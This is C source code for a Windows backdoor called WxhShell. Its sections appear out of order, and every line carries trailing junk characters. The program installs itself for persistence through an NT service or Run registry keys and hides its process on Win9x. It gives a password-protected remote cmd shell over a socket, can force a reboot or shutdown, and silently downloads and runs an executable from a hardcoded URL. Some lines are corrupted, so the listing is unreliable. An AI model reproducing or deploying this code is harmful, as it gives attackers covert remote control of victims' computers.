    if(Boot(SHUTDOWN)) >@Vr'kg+V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bg0cC  
    else { _";pk  _  
    closesocket(wsh); xy3%z  
    ExitThread(0); b{>dOI*.}  
    } 7<o;3gR7Kj  
    break; fO(S+}  
    } <slq1  
  // 获取shell Tn-]0hWkP  
  case 's': { ]]o[fqD-Zn  
    CmdShell(wsh); P2JRsZ.  
    closesocket(wsh); j4r,_lH^r  
    ExitThread(0); -86:PL(I"  
    break; FF!g9>  
  } qML*Kwg  
  // 退出 .%Q Ea_\  
  case 'x': { ,4W((OQ^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $[CA#AXE  
    CloseIt(wsh); 5@%-=87S  
    break; 5m?$\h  
    } }V;]c~Q/H  
  // 离开 j$oZIV7  
  case 'q': { *Y0,d`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nnl9I4-O  
    closesocket(wsh); O~'yP @&`  
    WSACleanup(); RAbq_^Q  
    exit(1); %<|KJb4?  
    break; )_K@?rWS  
        } \U>Kn_7m  
  } E"&9FxS]^  
  } jUSr t)o03  
>! .9g  
  // 提示信息 |bnjC$b*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XqH<)B ]  
} AK?j1Pk  
  } xU<lv{m`D  
NP*0WT_gB  
  return; wT yM9wz&  
} q#3X*!)  
^(vd8&71  
// shell模块句柄 ?+=|{{l  
int CmdShell(SOCKET sock) yvisoZX  
{ j1+Y=@MA  
STARTUPINFO si; zL8A?G)= M  
ZeroMemory(&si,sizeof(si)); @2*6+w_Ae  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tgA |Vwwk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pp hQa!F$  
PROCESS_INFORMATION ProcessInfo; gjLgeyyWC  
char cmdline[]="cmd"; XO~^*[K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /y|r iW  
  return 0; ~GYtU9s5  
} 53 05N!  
C P{h+yCj  
// 自身启动模式 YH9] T,  
int StartFromService(void) }8#Czo jt  
{ w/6@R 4)p  
typedef struct hAyPaS#  
{ lIP<`6=4  
  DWORD ExitStatus; IuW10}"9  
  DWORD PebBaseAddress; (SA*9%  
  DWORD AffinityMask; L]<4{8H.  
  DWORD BasePriority; ZS_f',kE  
  ULONG UniqueProcessId; Z"+!ayA7D  
  ULONG InheritedFromUniqueProcessId; oF xVK  
}   PROCESS_BASIC_INFORMATION; k"{U}Y/}  
CHI(\DXNs  
PROCNTQSIP NtQueryInformationProcess; ;g]+MLV9  
r^^C9"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1Di&vpn0u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uK5x[m  
oH"N>@Vl  
  HANDLE             hProcess; N@0scfO6<  
  PROCESS_BASIC_INFORMATION pbi; \"Iy <zG  
Dx'e+Bm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dxWw%_Q  
  if(NULL == hInst ) return 0; = g}yA=.  
J[wXG6M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1_lL?S3,a@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w,9F riW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3vU (4}@  
P$I\)Q H  
  if (!NtQueryInformationProcess) return 0; =C)1NJx&~  
HCK4h DKo}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bp,CvQ'}a  
  if(!hProcess) return 0; EdpR| z  
1PSb72h<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >.\E'e5^C  
PM7/fv*,  
  CloseHandle(hProcess); 9To6Rc;  
"QS7?=>*F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ||aU>Wj4  
if(hProcess==NULL) return 0; >,3 3Jx  
xK3;/!\`  
HMODULE hMod; Kx0dOkE  
char procName[255]; eVXbYv=gJ@  
unsigned long cbNeeded; idy:Jei}  
dZmq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y>8?RX8  
q3`t0eLZ  
  CloseHandle(hProcess); o:<3n,T  
^dv>n]?  
if(strstr(procName,"services")) return 1; // 以服务启动 7<D_ h/WV  
&)-?=M  
  return 0; // 注册表启动 H #_Z6J  
} 7l3q~dQ  
q =6 Y2Q  
// 主模块 7i.aZ2a%  
int StartWxhshell(LPSTR lpCmdLine) sSUd;BYf  
{ aDuanGC/V  
  SOCKET wsl; B!@0(A  
BOOL val=TRUE; pdSyx>rJ  
  int port=0; *gVv74;;  
  struct sockaddr_in door; ez{&Y>n  
n} {cs  
  if(wscfg.ws_autoins) Install(); _8 J (;7  
}q9f,mz  
port=atoi(lpCmdLine); <lR8MqjM_  
BL67sva;  
if(port<=0) port=wscfg.ws_port; sa*-B  
qv\yQ&pj  
  WSADATA data; RMK U5A7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uE(w$2Wi  
1CbC|q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   whCv9)x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v(`$%V.  
  door.sin_family = AF_INET; / yCV-L2J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q*: Ow]  
  door.sin_port = htons(port); 2lRZ/xaF%P  
{y'k wU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d yd_dK/  
closesocket(wsl); 7(H/|2;-d8  
return 1; zYgLGwi{  
} GcuZPIN%D  
>nX'RE|F  
  if(listen(wsl,2) == INVALID_SOCKET) { EcU9Tm`h  
closesocket(wsl); wal }[F#  
return 1; Sgj6tH2M  
} }_ E  
  Wxhshell(wsl); ]7;;uhn`  
  WSACleanup(); ']Z8C)tK  
G1rgp>m  
return 0; dkjL;1  
Jp- hFD  
} \Z8!iruN  
\B)<<[ $  
// 以NT服务方式启动 6]VTn-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iYnt:C  
{ x>cu<,e$d\  
DWORD   status = 0; k4v[2y`  
  DWORD   specificError = 0xfffffff; ',f[y:v;  
U|=y&a2Rb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #u_-TWVt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h(BN6ZrzKd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aC*J=_9o #  
  serviceStatus.dwWin32ExitCode     = 0; n" sGI  
  serviceStatus.dwServiceSpecificExitCode = 0; <d4^gAfs*  
  serviceStatus.dwCheckPoint       = 0; *d(Dk*(  
  serviceStatus.dwWaitHint       = 0; ScEM#9T|  
Z_%>yqDC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H,'c&  
  if (hServiceStatusHandle==0) return; 2.yzR DfZ  
A!c.P2  
status = GetLastError(); ZD3S|1zSQ  
  if (status!=NO_ERROR) f4q-wX_1  
{ $\H>dm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rAWBuEU;!  
    serviceStatus.dwCheckPoint       = 0; i> ;G4  
    serviceStatus.dwWaitHint       = 0; 9 wc=B(a|  
    serviceStatus.dwWin32ExitCode     = status; 6*$N@>8&  
    serviceStatus.dwServiceSpecificExitCode = specificError; _wIAr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fw<'ygd  
    return; ^#+9v  
  } /=%4gWtr  
>|<6s],v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J{H475GqiT  
  serviceStatus.dwCheckPoint       = 0; }U9e#>e x  
  serviceStatus.dwWaitHint       = 0; Rzp-Q5@M Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C4y<+G.`  
} rie1F,  
\C#Vh7z"2&  
// 处理NT服务事件,比如:启动、停止 4_$f "6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AWw:N6\  
{ --FvE|I  
switch(fdwControl) yDPek*#^"q  
{ /)~M cP3  
case SERVICE_CONTROL_STOP: xe d$z  
  serviceStatus.dwWin32ExitCode = 0; @_;6 L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uaiG (O   
  serviceStatus.dwCheckPoint   = 0; PqfH}d0l  
  serviceStatus.dwWaitHint     = 0; ^pn:SV  
  { s:%>H|-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t^q/'9Ai&J  
  } `| fF)kI  
  return; FkH4|}1  
case SERVICE_CONTROL_PAUSE: xaPTTa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aD.A +es  
  break; D`u{U]  
case SERVICE_CONTROL_CONTINUE: Ou/{PK}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i+OyBDkJM!  
  break; Q?~l=}2  
case SERVICE_CONTROL_INTERROGATE: 7JbN WN  
  break; #VLTx!5o  
}; f.!cR3XgV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t ,0~5>5  
} 1_A< nt?'R  
;lGjj9we>  
// 标准应用程序主函数 c Mq|`CM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wEdXaOEB5  
{ |KuH2, n0  
L;Nm"[ `  
// 获取操作系统版本 C3|M\[*fp  
OsIsNt=GetOsVer(); x k#/J]j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kc}e},k  
VP[ J#TPU  
  // 从命令行安装 4]Krx m`8  
  if(strpbrk(lpCmdLine,"iI")) Install(); C@xh$(y  
)F:hv[iv  
  // 下载执行文件 TtHqdKL  
if(wscfg.ws_downexe) { o_?YYw-:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1g *4e  
  WinExec(wscfg.ws_filenam,SW_HIDE); J 9z\ qTI  
} bEM-^SR  
^*Sb)tu\ W  
if(!OsIsNt) { j#29L"  
// 如果时win9x,隐藏进程并且设置为注册表启动 gP`8hNwR  
HideProc(); X[R/j*K  
StartWxhshell(lpCmdLine); DEs/?JZG  
} ,2"-G";!f\  
else lOql(ZH`w  
  if(StartFromService()) y:xZ(RgfF  
  // 以服务方式启动 `U)~fu/\2M  
  StartServiceCtrlDispatcher(DispatchTable); 1%H]2@  
else 8!1vsEqv  
  // 普通方式启动 4jvgyi 9  
  StartWxhshell(lpCmdLine); 8dP^zjPj  
yKi* 8N"e<  
return 0; ^dQ#\uy  
} $P>ci4]t  
23zB@aE_?1  
k<m{Wp;-  
(Ori].{C.J  
=========================================== kA fkQy(~  
 IG 6yt  
q45Hmz  
h60*=+vdJ  
S_WYU&8  
Mc9%s$MT  
" c{z QX0  
>a[)F  
#include <stdio.h> +Ibcc8Qud  
#include <string.h> 4&}LYSZl  
#include <windows.h> 0X.pI1jCO  
#include <winsock2.h> UE5T%zd/  
#include <winsvc.h> S-*4HV_l  
#include <urlmon.h> tv5G']vO\  
6Z0@4_Y@B6  
#pragma comment (lib, "Ws2_32.lib") ml\A)8O]j/  
#pragma comment (lib, "urlmon.lib") + Uq$'2CT  
3V2 "1Ic  
#define MAX_USER   100 // 最大客户端连接数 ^As^hY^p  
#define BUF_SOCK   200 // sock buffer >HXT:0  
#define KEY_BUFF   255 // 输入 buffer $o0o5 ^Z-  
n)gzHch  
#define REBOOT     0   // 重启 ) m[0,  
#define SHUTDOWN   1   // 关机 $)mK]57  
]7eQ5[ 5s  
#define DEF_PORT   5000 // 监听端口 -m3 O\X  
V^[o{'+  
#define REG_LEN     16   // 注册表键长度 hIE$ut +  
#define SVC_LEN     80   // NT服务名长度 9ELLJ@oNC  
82{Lx7pI  
// 从dll定义API ,dP-sD;<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #3leMZ6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z+x,Awq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o[X 'We;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2eK!<Gj  
{%*,KB>b  
// wxhshell配置信息 ?Mtd3F^o?  
struct WSCFG { OW;]= k/(  
  int ws_port;         // 监听端口 u,I_p[`E  
  char ws_passstr[REG_LEN]; // 口令 nDhr;/"i  
  int ws_autoins;       // 安装标记, 1=yes 0=no NJRk##Z  
  char ws_regname[REG_LEN]; // 注册表键名 _SY4Q s`d  
  char ws_svcname[REG_LEN]; // 服务名 +iY.YV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R.-2shOE'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @lRTp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9ePG-=5I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KEEHb2q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f%<kcM2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cz` !j  
~bC{ R&p  
}; Js.2R$o =*  
G(" S6u  
// default Wxhshell configuration xEb+sE6Z  
struct WSCFG wscfg={DEF_PORT, MOi.bHCQJP  
    "xuhuanlingzhe", %ukFn &-2@  
    1, ~PAF2  
    "Wxhshell", CY"&@v1  
    "Wxhshell", >MwjUq  
            "WxhShell Service", 78T9"CS  
    "Wrsky Windows CmdShell Service", lV<2+Is  
    "Please Input Your Password: ", LQ(z~M0B  
  1, >]s\%GO  
  "http://www.wrsky.com/wxhshell.exe", ,T& =*q  
  "Wxhshell.exe" O eLM*Zi  
    }; d^p af  
o."k7fLB  
// 消息定义模块 845a%A$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w/ &)mm{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3D|Y4OM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; : .Y  
char *msg_ws_ext="\n\rExit."; R9bsl.e  
char *msg_ws_end="\n\rQuit."; n@>h"(@i  
char *msg_ws_boot="\n\rReboot..."; $=3&qg"!  
char *msg_ws_poff="\n\rShutdown..."; Vz_ac vfk^  
char *msg_ws_down="\n\rSave to "; 4IfOvAN%  
Av6=q=D  
char *msg_ws_err="\n\rErr!"; trlZ^K  
char *msg_ws_ok="\n\rOK!"; 5yBaxw`  
~0/tU#&  
char ExeFile[MAX_PATH]; "u^%~2  
int nUser = 0; $$'a  
HANDLE handles[MAX_USER]; cC@.&  
int OsIsNt; CWKN0HB  
o\<m99Ub  
SERVICE_STATUS       serviceStatus; GY% ^!r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !'m MGxkEb  
SUGB)vEa  
// 函数声明 kHMD5Q  
int Install(void); 6WI-ZEVp&  
int Uninstall(void); - QPM$  
int DownloadFile(char *sURL, SOCKET wsh); DpA"5RV  
int Boot(int flag); }7Lo}}  
void HideProc(void); ,yPs4',d  
int GetOsVer(void); Z!#n55 |  
int Wxhshell(SOCKET wsl); zt,Tda4Y  
void TalkWithClient(void *cs); kD"BsL*6!  
int CmdShell(SOCKET sock); Qk`ykTS!  
int StartFromService(void); iB-h3/  
int StartWxhshell(LPSTR lpCmdLine); <;eXbO>Q  
$+'bRUo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %PF:OB6[|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ayGYVYi  
GTYCNi66  
// 数据结构和表定义 9c pjO  
SERVICE_TABLE_ENTRY DispatchTable[] = R k'5L  
{ VT@,RlB0  
{wscfg.ws_svcname, NTServiceMain}, WxE^S ??|  
{NULL, NULL} VKGH+j[  
}; HV0!G-h  
A8|DB@ Bi  
// 自我安装 X1wlOE  
int Install(void) s<#["K*_  
{ x{'3eJ^8  
  char svExeFile[MAX_PATH]; I| V yv  
  HKEY key; nf%"7y{dd  
  strcpy(svExeFile,ExeFile); dio<?6ZD9P  
m%$GiNs}  
// 如果是win9x系统,修改注册表设为自启动 ioJ~k[T  
if(!OsIsNt) { {:@MBA 34  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;pH&YBY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  iwiHw  
  RegCloseKey(key); l(Y U9dp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4k7 LM]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fS@V`"O6  
  RegCloseKey(key); /Ko{S_3< I  
  return 0; JyiP3whW  
    } heizO",8.&  
  } pYxdE|2j  
} 76'@}wNnw  
else { (B/od#nU  
W~W `fm  
// 如果是NT以上系统,安装为系统服务 6cQ)*,Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "J.7@\^ h/  
if (schSCManager!=0) 7NQ@q--3s  
{ ]'"aVGqa.  
  SC_HANDLE schService = CreateService 5u:{lcC.X  
  ( 'L k& iph  
  schSCManager, ( M$2CL  
  wscfg.ws_svcname, n "J+? ~9  
  wscfg.ws_svcdisp, !EwL"4pPw  
  SERVICE_ALL_ACCESS, :Qc[>:N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , - WEEnwZ  
  SERVICE_AUTO_START, jsp)e=  
  SERVICE_ERROR_NORMAL, {p90   
  svExeFile, &x mYpQ  
  NULL, G=VbEL^H  
  NULL, >du _/*8:  
  NULL, \>7hT;Av=G  
  NULL, ~ZxFL$<'3  
  NULL )8,)&F  
  ); Sd9%tO9mf  
  if (schService!=0) :c?}~a~JO(  
  { U%PII>s'#  
  CloseServiceHandle(schService); ~#]$YoQ&O  
  CloseServiceHandle(schSCManager); %C1*`"Jb&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZH s' #  
  strcat(svExeFile,wscfg.ws_svcname); asj*/eC$/i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s/+k[9l2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . a@>1XO  
  RegCloseKey(key); E0lro+'lS  
  return 0; 5H{dLZ],  
    } n[f<]4<  
  } o$XJSz|6  
  CloseServiceHandle(schSCManager); f7du1k3  
} H)5V \  
} MJ% gF=$X  
{>]7xTpwZ  
return 1; Qzh`x-S  
} ;ND)h pD+  
w(6(Fze  
// 自我卸载 0hCrEM!8  
int Uninstall(void) xRiWg/Z~  
{ .ou#BWav/  
  HKEY key; 0*4h}t9j  
um5n3=K  
if(!OsIsNt) { WU:r:m+ >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VNggDKS~K  
  RegDeleteValue(key,wscfg.ws_regname); :enmMB#%  
  RegCloseKey(key); ? CabVj-r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7[/1uI9U8K  
  RegDeleteValue(key,wscfg.ws_regname); 7j//x Tr}a  
  RegCloseKey(key); -ge :y2R_w  
  return 0; Xlp$ xp"  
  } 3[T<pAZ  
} ?c7} v  
} ^6?)EM#  
else { jWE?$r"  
2cu?2_,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I `I+7~t  
if (schSCManager!=0) $TK<~3`  
{ s.{nxk.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 24; BY'   
  if (schService!=0) wVMR&R<t  
  { YB?5s`vr9d  
  if(DeleteService(schService)!=0) { up^D9(y\  
  CloseServiceHandle(schService); 1 Vq)& N  
  CloseServiceHandle(schSCManager); pf%B  
  return 0; *y@Xm~ld  
  } sSdnH_;&  
  CloseServiceHandle(schService); 84|oqwZO  
  } 3mCf>qj73  
  CloseServiceHandle(schSCManager); VKtZyhK"h  
} .^o3  
} &?wNL@n  
,T<q"d7-#  
return 1; #ts;s\!  
} )^q7s&p/  
!7fL'  
// 从指定url下载文件 GyP.;$NHa[  
int DownloadFile(char *sURL, SOCKET wsh) =,HxtPJ  
{ <,\Op=$l3I  
  HRESULT hr; 6|HxBC#4  
char seps[]= "/"; 5p]Cwj<u  
char *token; L&nqlH@+~  
char *file; N#!**Q 0  
char myURL[MAX_PATH]; ZaKT~f%%z  
char myFILE[MAX_PATH]; NAnccB D!{  
%c`P`~sp  
strcpy(myURL,sURL); F caO-  
  token=strtok(myURL,seps); fZ7Ap3dmP  
  while(token!=NULL) #UYrSM@u  
  { i7#PYt  
    file=token; Q}qw` L1  
  token=strtok(NULL,seps); O% }EpIP_  
  } K|Kc.   
M0$wTmXM  
GetCurrentDirectory(MAX_PATH,myFILE); "IE*MmsEz  
strcat(myFILE, "\\"); [i 7^a/e  
strcat(myFILE, file); {%! >0@7  
  send(wsh,myFILE,strlen(myFILE),0); $?FA7=_  
send(wsh,"...",3,0); &'{?Y;A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c1>:|D7w  
  if(hr==S_OK) eCfy'US;@3  
return 0; iI 4XM>`a  
else 90rY:!e  
return 1; [)S7`K;  
kE` V@F  
} D&C83^m  
\:[J-ySJ  
// 系统电源模块 ^W)h=49PN  
int Boot(int flag) "u=U@1 ^  
{ b>_eD-  
  HANDLE hToken; -z6{!  
  TOKEN_PRIVILEGES tkp; = 3("gScUj  
3{"MN=  
  if(OsIsNt) { K H&o`U(}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R'e>YDC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <{"Jy)Uf  
    tkp.PrivilegeCount = 1; '}pe$=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C#3K.0a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R|OY5@  
if(flag==REBOOT) { :.J]s<J(F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "'zVwU  
  return 0; N |nZf5{  
} Qi?xx')  
else { %<?U`o@*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .R! /?eN  
  return 0; hY5tBL  
} ,2*x4Gycb  
  } QgB%\mO=  
  else { @Y| %  
if(flag==REBOOT) { RX6s[uQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S1&Df%Ra  
  return 0; Y [ p  
} Rk(2|I  
else { )Co&(;zf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f0Zn31c^  
  return 0; \-eDNwJ:#@  
} ?x-:JME0  
} KvtX>3#qM  
PD$@.pib  
return 1; '3'*VcL(  
} _1EWmHZ?  
PEIf)**0N  
// win9x进程隐藏模块 ,lUr[xzV  
void HideProc(void) Z?AX  
{ hOH DXc"  
v[t *CpGd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q/u1$&1  
  if ( hKernel != NULL ) $1< ~J  
  { 8*\PWl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E6njm du  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %*Aq%,.={  
    FreeLibrary(hKernel); +GDT@,/  
  } l2 [{T^  
(Ymj  
return; GL- r;  
} aNxq_pRb  
5uxB)Dx)  
// 获取操作系统版本 ^+b ??K  
int GetOsVer(void) tuWJj^  
{ WiBO8N,%`  
  OSVERSIONINFO winfo; pjaDtNb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JrhDqyk*  
  GetVersionEx(&winfo); klON6<w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b8$(j2B~  
  return 1; KB6'sj  
  else o n+:{ad  
  return 0; N{o3w.g  
} E>2~cC*  
8O='Q-& 8  
// 客户端句柄模块 $u-yw1FT  
int Wxhshell(SOCKET wsl) J3P )oM[  
{ b,MzHx=im  
  SOCKET wsh; z&@O\>Q  
  struct sockaddr_in client; "T0s7LWp  
  DWORD myID; ~o?(O1QY  
SZ)AO8&  
  while(nUser<MAX_USER) ,]* MI"  
{ ~wl 4  
  int nSize=sizeof(client); NKJ+DD:'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a ]~Yi.H  
  if(wsh==INVALID_SOCKET) return 1;  p;k7\7  
<+iL@'SgF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c^a D r  
if(handles[nUser]==0) @GrQ /F7  
  closesocket(wsh); z3+7gp+I;  
else i<ug("/  
  nUser++; <f+ 9wuZ  
  } 1NI%J B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #eKg!]4-R  
$V?h68[c  
  return 0; 6Rcl HU  
} BGO!c[-  
C!%\cy%Xj  
// 关闭 socket ,Q>Rt V  
void CloseIt(SOCKET wsh) E Qn4+  
{ Jg:%|g  
closesocket(wsh); 3|qT.QR`Z  
nUser--; hCvK2Xu   
ExitThread(0); R3,O;9i  
} dnXre*rhz  
`N.^+Mvx-  
// 客户端请求句柄 I C?bqC+  
void TalkWithClient(void *cs) $-Wn|w+h<a  
{ (|kcSnF0  
m?4L>'  
  SOCKET wsh=(SOCKET)cs; brXLx +H8  
  char pwd[SVC_LEN]; dvLO#o{  
  char cmd[KEY_BUFF]; F\lnG  
char chr[1]; Rx,Qw> #  
int i,j; <[W41{  
Jq8CII  
  while (nUser < MAX_USER) { $MPh\T  
KbP( ;  
if(wscfg.ws_passstr) { Iq%f*Zm<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FWu[{X;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T|fmO<e*n  
  //ZeroMemory(pwd,KEY_BUFF); :e|[gEA  
      i=0; :1/K$A)^{  
  while(i<SVC_LEN) { kafRuO~$  
d=J$H<  
  // 设置超时 QhqXd  
  fd_set FdRead; V% PeZ.Xv  
  struct timeval TimeOut; dd{pF\a  
  FD_ZERO(&FdRead); BXx0Z %e.3  
  FD_SET(wsh,&FdRead); t!S ja  
  TimeOut.tv_sec=8; 9+!1jTGSkf  
  TimeOut.tv_usec=0; |y T-N3H@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E` O@UW@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vy&< O  
H,I k&{@j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &Ub0o2+y  
  pwd=chr[0]; 8;vpa*  
  if(chr[0]==0xd || chr[0]==0xa) { o fw0_)!Q  
  pwd=0; ~l SdWUk>  
  break; uOU?-WtPz  
  } WhY8#B'?  
  i++; )4@La&  
    } |4lrVYG^K  
V < ;vy&&  
  // 如果是非法用户,关闭 socket H)u<$y!8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ud}B#{6  
} !rwe|"8m?u  
&y~EEh|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C~PoC'"q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n@ rphJb  
oI/jGyY;  
while(1) { LEJ8 .z6$  
9"%ot=)  
  ZeroMemory(cmd,KEY_BUFF); [ S_8;j  
nGvWlx  
      // 自动支持客户端 telnet标准   `EjPy>kM  
  j=0; _h2s(u >\  
  while(j<KEY_BUFF) { E,fG<X{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iR`c/  
  cmd[j]=chr[0]; !~Am1\02  
  if(chr[0]==0xa || chr[0]==0xd) { h4\j=Np  
  cmd[j]=0; EoOB0zo}Y+  
  break; `fA|])3T  
  } &-s/F`  
  j++; X?Yp=%%  
    } >AsrPU[  
9~FB^3Nz_  
  // 下载文件  ,m^@S  
  if(strstr(cmd,"http://")) { e,0y+~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .JG>/+  
  if(DownloadFile(cmd,wsh)) FSp57W$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eC71;"  
  else m:{ws~   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4z$}e-  
  } uBPxMwohR  
  else { l-GQ AI8  
@aX$}  
